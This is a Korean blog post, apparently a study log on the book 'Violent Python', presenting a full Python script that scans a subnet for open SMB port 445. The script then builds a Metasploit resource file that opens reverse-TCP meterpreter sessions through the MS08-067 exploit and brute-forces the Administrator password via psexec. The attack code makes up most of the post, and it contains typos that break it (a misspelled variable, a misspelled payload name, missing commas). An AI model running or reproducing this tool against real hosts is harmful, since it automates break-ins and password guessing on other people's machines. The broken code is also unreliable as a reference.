(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)


드디어 오늘은! 해커의 언어, 치명적 파이썬 2장을 끝내는 날입니다! 라고 말하고 싶은데 뒤에 스택오버플로우 같은 기법들이...ㄷㄷㄷ


하지만 내일 부터는 본격적인 자소서 작성에 돌입해야되는지라 어떻게 될지는 모르겠습니다.(이래놓고 주말에 해캠가는 1인...)


일단 오늘은 메타스플로잇을 연동해서 SMB 서비스 공격하기인데요.


제목이 너무 길어서 그냥 SMB Exploit 입니다.


(일단 실행은 됬는데 칼리에서 옵션 줘서 공격할려고 하면 계속해서 PortScanner 모듈이 없다고 하네요;;;; python-nmap도 분명히 설치 했는데 말이죠...

참고로 이 오류는 예제 파일에서도 똑같이 나옵니다.)


어쨌든 기록을 시작해 보죠ㅋㅋㅋ


처음에는 SMB포트가 열려있는지의 여부를 알아야됩니다.


안열려 있으면 공격하는 이유가 없으니까요;;;


그다음은 메타스플로잇을 쉽게 사용하게 해주는 Handler 파일을 작성해줍니다.


Handler를 쉽게 설명하면 수신자 설정이라고 말할 수 도 있는데요


수신자가 있으면 발신자도 있겠죠??


이번 예제에 사용되는 취약점은 smb ms08_067_netapi 취약점 입니다.


메타스플로잇 형식에 맟게 이 취약점을 쓰는 코드를 작성하는 함수도 추가해야됩니다.


옛날 같았으면 저 취약점이 다 먹혀 제로데이 공격의 성공인데요.


하지만 최근 더욱이 windows 10을 사용하는 시대에서는 POS기기급이 아니면 성공하기가 거의 힘듭니다.


그래서 전통적 해킹 방식인 무차별 대입까지 해주는 함수까지 작성 하면 이번 예제는 끝입니다.


그럼 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding: utf-8 -*-
import nmap
import os
import optparse
import sys
 
def findTgts(subnet): # SMB 포트가 열려있는지 확인
    nmScan = nmap.PortScanner()
    nmScan.scan(subnet, '445'#455가 대표적 SMB 포트
    tgtHosts = []
    for host in nmaScan.all_hosts():
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
    return tgtHosts
 
def setupHandler(configFile, lhost, lport): #리스서 생성, 생성된 파일을 msf로 실행하고
    configFile.write('use exploit/multi/handler\n')#공격이 성공하면 세션이 열림
    configFile.write('set payload' +\
        'windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
    configFile.write('set DisablePayloadHandler 1\n')
 
def confickerExploit(configFile, tgtHost, lhost, lport): #익스플로잇 코드
    configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
    configFile.write('set RHOST ' +str(tgtHost) + '\n')
    configFile.write('set payload' +\
        'windows/meterreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
 
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport): #취약점이 막혀있을때를 대비 브루트 포스다.
    username = 'Administrator'#윈도우는 기본적으로 이 계정이므로 기본적으로 설정
    pF = open(passwdFile, 'r')
    for password in pF.readlines():
        password = password .strip('\n').strip('\r')
        configFile.write('use exploit/windows/smb/psexec\n')
        configFile.write('set SMBUser '+ str(username) + '\n')
        configFile.write('set SMBPass '+ str(password) + '\n')
        configFile.write('set RHOST '+ str(tgtHost) + '\n')
        configFile.write('set payload '+\
            'windows/meterpreter/reverse_tcp\n')
        configFile.write('set LPORT '+ str(lport) + '\n')
        configFile.write('set LHOST '+ lhost + '\n')
        configFile.write('exploit -j -z\n')
 
def main():
    configFile = open('meta.rc''w')
 
    parser = optparse.OptionParser('[-] Usage %prog ' +\
        '-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
    parser.add_option('-H', dest='tgtHost', type = 'string',\
            help = 'specify the target address[es]')
    parser.add_option('-p', dest='lport', type='string', \
                      help='specify the listen port')
    parser.add_option('-l', dest='lhost', type='string', \
                      help='specify the listen address')
    parser.add_option('-F', dest='passwdFile', type='string', \
        help='password file for SMB brute force attempt')
 
    (options,args) = parser.parse_args()
 
    if (options.tgtHost == None) | (options.lhost == None):
        print parser.usage
        exit(0)
 
    lhost = options.lhost
    lport = options.lport
 
    if lport == None:
        lport = '1337' # 기본 리스너 포트지정
    passwdFile = options.passwdFile
    tgtHosts = findTgts(options.tgtHost)
 
    setupHandler(configFile, lhost, lport)
 
    for tgtHost in tgtHosts: # 여러 타켓을 반복해서 안되면 무차별로 가는걸로 설정
        confickerExploit(configFile, tgtHost, lhost, lport)
        if passwdFile != None:
            smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
 
    configFile.close()
    os.system('msfconsole -r meta.rc'#작성한 핸들러 실행, 핸들러 실행을 하지 않으면 공격에 성공해도 제어를 하지 못함
 
if __name__ == '__main__':
    main()
cs



이번에도 위에서 꽤 설명했고 주석까지 전보다 많이 달았으니 여기에서 마치도록 하겠습니다.ㅎㅎ



+ Recent posts